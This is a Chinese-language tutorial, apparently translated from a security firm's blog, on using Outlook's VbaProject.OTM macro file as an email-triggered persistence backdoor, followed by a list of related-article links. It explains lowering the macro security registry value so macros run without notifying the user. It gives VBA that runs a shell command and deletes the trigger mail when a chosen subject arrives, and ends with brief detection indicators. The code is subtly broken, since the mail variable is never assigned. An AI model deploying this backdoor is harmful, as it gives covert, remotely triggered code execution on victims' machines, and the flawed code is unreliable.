技术分享:看我如何利用Outlook来创建基于电子邮件的持久化后门
目录
写在前面的话
技术分析
宏武器化
持久化PoC
PoC演示
检测
写在前面的话
使用低等级用户权限来实现持久化感染,是一种非常有价值的技术,因此我们打算在这篇文章中,跟大家介绍这种基于Outlook的持久化技术。值得一提的是,目前来说这种技术还没有被红队和蓝队所关注。
实际上,基于Outlook的持久化技术在此之前就已经被提到过很多次了,包括Dave Hartley和Nick Landers之前所作的工作,他们详细介绍了如何使用Outlook的规则来实现持久化。但是,在这篇文章中,我们将重点介绍如何使用Outlook的VbsProject.OTM文件来实现持久化。据我们所知,虽然了解这项技术的人不多,但Cobalt Kitty已将其用作命令和控制信道了。
技术分析
跟大多数的Microsoft Office产品一样,Outlook也可以启用开发者选项,并通过VB编辑器来创建基于VBA的宏。打开编辑器,然后创建一个简单的宏文件,你将会看到一个名为“ThisOutlookSession”的Outlook模块:
保存这个宏之后,一个VbaProject.OTM文件将会在“%APPDATA%\Roaming\Microsoft\Outlook ”目录中被创建:
在默认配置下是无法执行这个宏的,因为默认配置为“除了已签名的宏之外,其他所有的宏都被禁用”。
但是,我们可以通过使用以下值创建Security注册表项来修改此配置:
Level值定义的是宏安全配置,包含下列值:
4 = Disable all macros without notification3 = Notifications for digitally signed macros, all other macros disabled2 = Notifications for all macros1 = Enable all Macros
如果想允许宏以隐蔽方式运行而不通知用户的话,我们需要设置“Level”值以在操作期间启用所有宏。
通过检查VbaProject.OTM文件,我们发现它是标准的Microsoft复合文档文件(CDF):
dmc@deathstar ~ ✗ file ~/VbaProject.OTMVbaProject.OTM: Composite Document File V2 Document, Cannot read section info
对oledump.py进行深入分析后,我们发现了包含宏代码的OLE数据流:
dmc@deathstar ~ ✗ python oledump.py ~/VbaProject.OTM1: 43 'OutlookProjectData'2: 388 'OutlookVbaData/PROJECT'3: 59 'OutlookVbaData/PROJECTwm'4: M 6156 'OutlookVbaData/VBA/ThisOutlookSession'5: 2663 'OutlookVbaData/VBA/_VBA_PROJECT'6: 497 'OutlookVbaData/VBA/dir'
现在,我们已经知道VbaProject.OTM是一个启用了标准OLE宏的文档,因此创建、混淆、清除和重载这些文件的传统工具和技术仍然适用。接下来,我们看看如何将其转换成一种持久化武器。
宏武器化
为了让这种VBA代码执行技术转换成对我们有用的东西,我们需要将代码作为事件的结果执行。ThisOutlookSession模块允许我们订阅Outlook中的各种事件,这就是我们实现代码执行的一个可用元素了。
针对持久化来说,目标事件的潜在选项包括用户驱动的某些事件,比如说Outlook打开或用户自行操作的某些事件,例如指定的邮件送达等等。对于我们的场景,我们将主要研究如何利用带有特定主题的邮件来执行任意的VBA。
为了确认新邮件的接收时间,我们可以在Outlook启动时首先订阅默认收件箱的相关事件。首先,在注册事件的同时在默认收件箱文件夹(olInboxItems)中设置变量:
Option ExplicitPrivate WithEvents olInboxItems As ItemsPrivate Sub Application_Startup()Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).ItemsEnd Sub
为了使用指向用户收件箱的引用,我们可以使用“ItemAdd”回调来接收新消息抵达事件:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object)End Sub
具体说来,我们只对接收的电子邮件感兴趣,因此我们需要对回调进行优化,只允许新邮件来触发我们的事件。这里可以通过验证邮件类型是否为“MailItem”来实现:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) If TypeOf Item Is MailItem ThenMsgBox "You have mail"End IfEnd Sub
当然了,我们并不需要每一封接收到的邮件都触发我们的事件,所以我们需要对邮件地址、主题和正文内容等进行过滤:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object)On Error Resume NextDim olMailItem As MailItemIf TypeOf Item Is MailItem ThenIf InStr(olMailItem.Subject, "MDSec") > 0 ThenMsgBox "Hack The Planet"olMailItem.DeleteEnd IfEnd IfSet Item = NothingSet olMailItem = NothingEnd Sub
持久化PoC
综上所属,让我们来弹个计算器(calc.exe)试试:
Option ExplicitPrivate WithEvents olInboxItems As ItemsPrivate Sub Application_Startup()Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).ItemsEnd SubPrivate Sub olInboxItems_ItemAdd(ByVal Item As Object)On Error Resume NextDim olMailItem As MailItemIf TypeOf Item Is MailItem ThenIf InStr(olMailItem.Subject, "MDSec") > 0 ThenMsgBox "Hack The Planet"Shell "calc.exe"olMailItem.DeleteEnd IfEnd IfSet Item = NothingSet olMailItem = NothingEnd Sub
PoC演示
检测
从目标设备的角度来看,我们可以通过下列两个关键指标来检测这种攻击技术:
- 监控“%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM”文件的创建和修改事件(Sysmon 事件 ID 11);
- 监控“HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security”注册表键值的创建和修改事件(Sysmon 事件 ID 12);
技术分享:看我如何利用Outlook来创建基于电子邮件的持久化后门相关推荐
- linux 监控新建进程,技术分享 | Linux 入侵检测中的进程创建监控
作者简介:张博,网易高级信息安全工程师. 0x00 简介 在入侵检测的过程中,进程创建监控是必不可少的一点,因为攻击者的绝大多数攻击行为都是以进程的方式呈现,所以及时获取到新进程创建的信息能帮助我们快 ...
- 【华为云技术分享】文字识别服务(OCR)基于对抗样本的模型可信安全威胁分析初析
[摘要] 文字识别作为计算机视觉的重要分支之一,面临着视觉方向同样的安全威胁分析.随着人工智能的普及和文字识别服务大规模的商业落地,解决好相关的模型安全威胁问题已经刻不容缓. OCR处理流程融合了多种 ...
- hook 监控文件 c++_技术分享 | Linux 入侵检测中的进程创建监控
作者简介:张博,网易高级信息安全工程师. 0x00 简介 在入侵检测的过程中,进程创建监控是必不可少的一点,因为攻击者的绝大多数攻击行为都是以进程的方式呈现,所以及时获取到新进程创建的信息能帮助我们快 ...
- 【百家稷学】计算机视觉典型实践(珠海格力电器技术分享)
继续咱们百家稷学专题,本次是有三AI在珠海格力电器进行的深度学习技术培训,百家稷学的目标,是走进100所高校和企业进行学习和分享. 分享主题 本次分享是在珠海格力电器,主题为<计算机视觉与深度学 ...
- android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...
[技术分享]Android内核漏洞利用技术实战:环境搭建&栈溢出实战 2017-08-14 16:22:02 阅读:0次 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn ...
- 【免费报名】亚洲诚信看雪学院:“走进企业看安全”技术分享沙龙等你来侃~...
看雪学院<走近企业看安全>系列活动,秉承以技术交流为主线的主旨,通过纯技术类交流,为企业与安全人士搭建起一个技术分享.交流的平台. 前期系列活动,带领大家走进知道创宇.百度.360.微软. ...
- 【免费报名】看雪学院:“走进企业看安全”技术分享沙龙等你来侃~
看雪学院<走近企业看安全>系列活动,秉承以技术交流为主线的主旨,通过纯技术类交流,为企业与安全人士搭建起一个技术分享.交流的平台. 前期系列活动,带领大家走进知道创宇.百度.360.微软. ...
- python个人博客搭建说明书_技术分享|利用Python Django一步步搭建个人博客(二)...
原标题:技术分享|利用Python Django一步步搭建个人博客(二) Hello,欢迎来到我们的"利用Python Django一步步搭建个人博客"系列的第二部分.在第一部分中 ...
- 技术分享 | CodeReview主要Review什么?
源宝导读:Code Review, 意即代码审查,是指一种有意识和系统的召集其他程序员来检查彼此的代码是否有错误的地方. 在敏捷团队中推行CodeReview, 可以帮助团队快速成长.本文将分享在&q ...
最新文章
- Linux火狐解压完运行不了,在Ubuntu系统下firefox账号无法登录的解决
- 在线试玩,在体感游戏中打败泰森,这位小哥破解了任天堂「拳无虚发」
- 黄聪:php精度计算问题
- 微软AI要参加IMO竞赛!小目标:数学金牌
- Hibernate 参数设置一览表
- Spring MVC中用@ResponseBody转json,对json进行处理方法汇总
- Geoff Hinton:我反对谷歌军事项目,论文评审机制正在阻碍创新
- 字节跳动面试题:“请你描述下 Spring Bean 的生命周期?”
- 码神日志N0.1|专场邀请:深度解析音视频技术(内有福利哦~)
- JEPLUS表格组件数据平铺——JEPLUS软件快速开发平台
- linux 查看java cpu_Linux查看CPU和内存使用情况
- ubuntu linux下执行.sh文件
- c语言编俄罗斯方块有注释,C语言学习1年-俄罗斯方块(无注释)
- HibernateDaoSupport类的使用(转)
- Battle Encoder Shirase一款能限制进程CPU占有率的小东西
- 最简单的SpringMVC + Maven配置
- MVC,MVP 和 MVVM详解
- .Net页面缓存OutPutCache详解
- 2.3.2 EditText(输入框)详解
- mac 版 SourceTree(git 客户端)跳过登录验证
热门文章
- 边缘计算 — 业务的需求特征
- 互联网协议 — HTTP 超文本传输协议
- 用 Flask 来写个轻博客 (31) — 使用 Flask-Admin 实现 FileSystem 管理
- Internet Explorer 已停止工作 解决办法
- NR 5G SA注册流程
- 架构师课程1-多线程基础
- JVM调优之实战案例(六)(转载)
- KVM 介绍(4):I/O 设备直接分配和 SR-IOV [KVM PCI/PCIe Pass-Through SR-IOV]
- android 获取资源文件 r.drawable中的图片转换为drawable、bitmap
- [开发笔记]-未找到与约束ContractName Microsoft.VisualStudio.Text.ITextDocumentFactoryService...匹配的导出...